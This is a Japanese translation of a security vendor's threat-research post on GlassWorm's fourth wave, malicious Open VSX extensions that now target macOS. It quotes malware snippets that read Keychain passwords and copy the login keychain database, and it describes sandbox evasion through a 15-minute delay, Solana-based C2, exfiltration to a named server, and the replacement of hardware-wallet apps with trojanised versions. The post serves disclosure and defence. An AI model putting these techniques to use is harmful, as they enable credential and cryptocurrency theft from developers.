2ヶ月半前、私たちはVS Code拡張機能を標的とする初の自己増殖型ワームであるGlassWormの存在を明らかにしました。目に見えないUnicode文字を使って悪意あるコードを隠すというものでした。それ以来、私たちはこの脅威アクターを3つの波にわたって追跡してきました。目に見えないUnicodeペイロード、中東の政府機関を含む実際の被害者を明らかにした再襲撃、そしてコンパイル済みのRustバイナリへの転換です。
そして今、彼らが戻ってきました。5万件のダウンロード数、WindowsからmacOSへのプラットフォーム転換を伴い、このインフラはこの記事を読んでいる今この瞬間も完全に稼働しています。
私たちのリスクエンジンがOpen VSXマーケットプレイスで3つの不審な拡張機能を検知しました。当初は、これまで追跡してきたどのキャンペーンとも関連がないように見えました。しかしSolanaブロックチェーンを使ったC2(コマンド&コントロール)に気づき、インフラを追跡したところ、見覚えのあるIPアドレスがその疑いを裏付けました。45.32.151.157、GlassWormの第3波で使われたのと同じC2サーバーです。

10月に私たちが暴いた目に見えないUnicodeの手口は、姿を消しました。第3波で使われたRustバイナリも同様です。今回はペイロードがAES-256-CBCで暗号化され、コンパイル済みのJavaScriptに埋め込まれています。しかし核となる仕組みは変わっていません。Solanaから現在のC2エンドポイントを取得し、返ってきたものを実行するというものです。新しいのはその標的です。ハードウェアウォレットのアプリケーションをトロイの木馬版に置き換えるよう設計されたコードが確認されました。
GlassWormの攻撃者はしぶといだけでなく、進化を続けています。そして今、Macを標的にしようとしています。

転換点:WindowsからmacOSへ
これが第4波における最大の変化です。これまでのGlassWormの各波はすべてWindowsのみを標的としていました。第4波はmacOSのみを標的としています。
なぜこの転換なのでしょうか。
開発者はMacを使います。特に暗号資産、Web3、スタートアップ環境ではその傾向が顕著です。まさにGlassWormが狙いたい被害者層と一致します。攻撃者は魚のいる場所で釣りをしているのです。
これは単なる手抜きの移植ではありません。macOS向けペイロードは目的に合わせて一から構築されており、随所にプラットフォーム固有の手法が用いられています。
PowerShellの代わりにステルス実行のためのAppleScriptを使用しています。
set keychainPassword to do shell script "security 2>&1 \\
find-generic-password -s 'pass_users_for_script' -w"
レジストリキーやタスクスケジューラの代わりに永続化にはLaunchAgentsを使用しています。

Keychainデータベースの直接窃取も確認されています。
readwrite(profile & "/Library/Keychains/login.keychain-db", \\
writemind & "keychain")
この攻撃者はmacOSを熟知しています。これはプロの仕事です。
新たな配布手法:暗号化されたJavaScript
第1波は目に見えないUnicode文字を使用していました。文字通り、空白の中に隠された描画不可能なコードです。
第3波はコンパイル済みのRustバイナリを使用していました。解析にはリバースエンジニアリングが必要なネイティブコードです。
第4波では異なる手法が使われています。AES-256-CBCで暗号化されたペイロードが、コンパイル済みのJavaScriptに直接埋め込まれているのです。
pro-svelte-extensionのメインファイルの64行目で、私たちは以下を発見しました。

このペイロードはハードコードされた鍵とIV(初期化ベクトル)で暗号化されています。3つの拡張機能すべてで同じ鍵が使われており、単一の攻撃者によるものであることが裏付けられます。しかし巧妙なのはここからです。
15分間の遅延です。
コード内にある9e5という数値、これは90万ミリ秒です。つまり15分に相当します。
多くの自動化されたサンドボックス環境は5分でタイムアウトします。悪意ある処理を実行する前に15分間待機することで、このマルウェアは動的解析を完全に回避します。サンドボックスには問題のない拡張機能に見え、承認されてしまいます。そして開発者がインストールしてから15分後、本物のペイロードが展開されるのです。
これが従来のセキュリティスキャンで見逃されていた理由です。
新たなC2インフラ(一部)
攻撃者は今回の波で新しいSolanaウォレットを使用しています。BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SCで、これまでの波で使われていたウォレットとは異なりますが、旧来のウォレットも稼働を続けています。
ブロックチェーンを通じてインフラの変遷をたどることができます。11月27日には、あるトランザクションが217.69.11.60を指していました。12月までにはC2は45.32.151.157に移行しています。これは第3波でも確認されたIPアドレスであり、同一の攻撃者であることを裏付けています。
攻撃者はさらに新しい情報窃取用サーバーも追加しています。45.32.150.251です。
Solanaブロックチェーンを使ったC2の手法自体は変わっていません。攻撃者はbase64エンコードされたURLを含むトランザクションメモを投稿し、マルウェアはブロックチェーンに問い合わせて現在のC2エンドポイントを見つけ出します。改ざん不可能、非中央集権的、そして停止させることが不可能な仕組みです。
新たな機能:ハードウェアウォレットへのトロイの木馬化
ここからが第4波の本当に危険な部分です。
これまでのGlassWormの各波は、認証情報を窃取しバックドアを設置するものでした。第4波もそれらを行いますが、それに加えてハードウェアウォレットのアプリケーションをトロイの木馬版に置き換えようとする点が新しいのです。
タイミングに関する重要な注記:2025年12月29日に行った私たちのテストの時点では、トロイの木馬化されたウォレット用のC2サーバーのエンドポイントは空のファイルを返していました。このマルウェアには、1000バイト未満のファイルのインストールを防ぐファイルサイズ検証機能が組み込まれており、ダウンロードが不完全な場合にはウォレットの置き換えが静かに失敗する仕組みになっています。これは防御的なプログラミングの選択によるものです。
これは、攻撃者がmacOS向けウォレットのトロイの木馬版をまだ準備中であるか、あるいはインフラが移行段階にあることを意味している可能性があります。この機能自体はすでに構築され、稼働準備が整っています。あとはペイロードがアップロードされるのを待つだけの状態です。それ以外の悪意ある機能(認証情報の窃取、Keychainへのアクセス、データの外部送信、永続化)はすべて完全に稼働しています。
このコードはLedger LiveとTrezor Suiteの両方を確認します。

いずれかが見つかった場合、マルウェアはトロイの木馬化された置き換え版をダウンロードし、正規のアプリケーションを削除した上で、悪意あるバージョンをその代わりにインストールします。
これは能力面での大きなエスカレーションです。ハードウェアウォレットは、暗号資産を保管する最も安全な方法とされています。ユーザーがこれらを信頼するのは、まさに署名処理が別デバイス上で行われるためです。しかし、お使いのLedger LiveやTrezor Suiteのアプリケーションが侵害されている場合、攻撃者は次のようなことが可能になります。
- 偽の受取アドレスを表示
- 署名前にトランザクションの詳細を改ざん
- 「リカバリー」フロー中にシードフレーズを取得
- アプリとデバイス間の通信を傍受
ハードウェアウォレットの安全性は、それを操作するために使うソフトウェアの安全性次第でしかありません。
ファイルサイズ検証のコードからは、攻撃者の細部への配慮がうかがえます。

これは素人の仕事ではありません。攻撃者は、被害者に気づかれかねない不完全なインストールを防ぐための整合性チェックをあらかじめ組み込んでいます。トロイの木馬化されたウォレット用ペイロードが稼働し始めれば、インストールは何の違和感もなく完了してしまうでしょう。
依然として窃取される情報
ハードウェアウォレットのトロイの木馬機能が稼働していない状態でも、このペイロードは十分に破壊的です。
暗号資産ウォレット――このマルウェアは、MetaMask、Phantom、Coinbase Wallet、Exodus、Keplr、Solflare、Trust Wallet、Rabbyを含む50以上のブラウザ拡張機能型ウォレットを標的にします。さらにデスクトップ版ウォレットも狙われます。Electrum、Coinomi、Exodus、Atomic、Ledger Liveのデータ、Trezor Suiteのデータ、Monero、Bitcoin Coreです。
開発者の認証情報――VS Codeのストレージやgitの認証情報キャッシュからGitHubトークンを窃取します。.npmrcからNPMトークンを、~/.sshディレクトリ全体を、そしてキャッシュされた認証情報からgitの資格情報を窃取します。
システムの認証情報――macOSのKeychainのパスワードおよび生のデータベースファイル、VPN設定、Chrome・Firefox・Brave・Edgeのブラウザクッキーとローカルストレージも対象となります。
これらすべては/tmp/ijewf/に一時保存され、圧縮された上で45.32.150.251/p2pへと外部送信されます。
進化のパターン
ここで一歩引いて、これまで見てきたものを整理してみましょう。
第1波(10月17日):OpenVSX拡張機能内の目に見えないUnicode。Windowsを標的。C2にはSolanaとGoogleカレンダーを使用。
第2波(11月6日):同じ手法で、より多くの拡張機能を使用。私たちは攻撃者のサーバーにアクセスし、中東の政府機関を含む実際の被害者を発見しました。
第3波(11月22日):Unicodeの代わりにRustバイナリを使用。目に見えないコードはもうなく、リバースエンジニアリングを要するコンパイル済みのネイティブコードに変わりました。
第4波(12月19日):macOSへのプラットフォーム転換。暗号化されたJavaScriptペイロード。新しいSolanaウォレット。ハードウェアウォレットのトロイの木馬化機能の追加。
パターンは明白です。私たちが手口を暴くたびに、彼らは適応してきました。
- Unicodeの手法が文書化される→Rustバイナリへ切り替え
- Rustバイナリが解析される→暗号化JavaScriptへ移行
- Windows標的であることが知られる→macOSへ転換
- 認証情報窃取の手口が確立される→ハードウェアウォレットのトロイの木馬機能を追加
これはセキュリティ研究を読み込み、それに応じて自らのツールを進化させる、活発かつ適応型の脅威アクターです。共有されているインフラ(45.32.151.157)が同一の攻撃者であることを裏付けており、絶え間ない進化がこの脅威が消え去らないことを証明しています。
IOC(侵害指標)
拡張機能ID(open-vsx):
studio-velte-distributor.pro-svelte-extensioncudra-production.vsce-prettier-proPuccin-development.full-access-catppuccin-pro-extension
ネットワーク指標:
45.32.151.157―― 主要C2(第3波と共通)45.32.150.251―― 情報窃取用サーバー217.69.11.60―― 以前のC2(2025年11月27日)BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC―― SolanaのC2ウォレット
結び
GlassWormは今やクロスプラットフォームの脅威となりました。
これらの拡張機能は数日間公開され続けていました。その間に5万件のダウンロード数を積み上げましたが、その間ずっとVS Code Marketplaceの自動スキャンは何の異常も検知していませんでした。
これはスキャン機能の失敗ではなく、そのアプローチそのものの限界です。マルウェアが実行前に15分間待機する以上、静的解析は常にクリーンな結果しか示しません。C2インフラが改ざん不可能なブロックチェーン上に存在する以上、ブラックリストに登録できるドメインは存在しません。攻撃者が数週間のうちにセキュリティ研究を読み込み新たな手法を投入してくる以上、シグネチャベースの検知は常に一歩遅れを取ることになります。
2ヶ月半で4つの波。そのたびに能力は高まっています。問題は第5波が来るかどうかではなく、あなたの組織の開発者がインストールする前にそれを捕捉できるかどうかです。
本稿はKoi Securityのリサーチチームによって執筆されました。
私たちのリスクエンジン「Wings」は、これらの拡張機能が公開されてから数時間以内に検知しました。攻撃者がこれほどの速さで進化する以上、ソフトウェアサプライチェーン全体にわたる継続的な行動分析が必要です。
満足のいくスキャナーでは見逃してしまうものをKoiがどう捕捉するか、デモを予約してご確認ください。
どうかご安全に。
翻訳元: https://www.koi.ai/blog/glassworm-goes-mac-fresh-infrastructure-new-tricks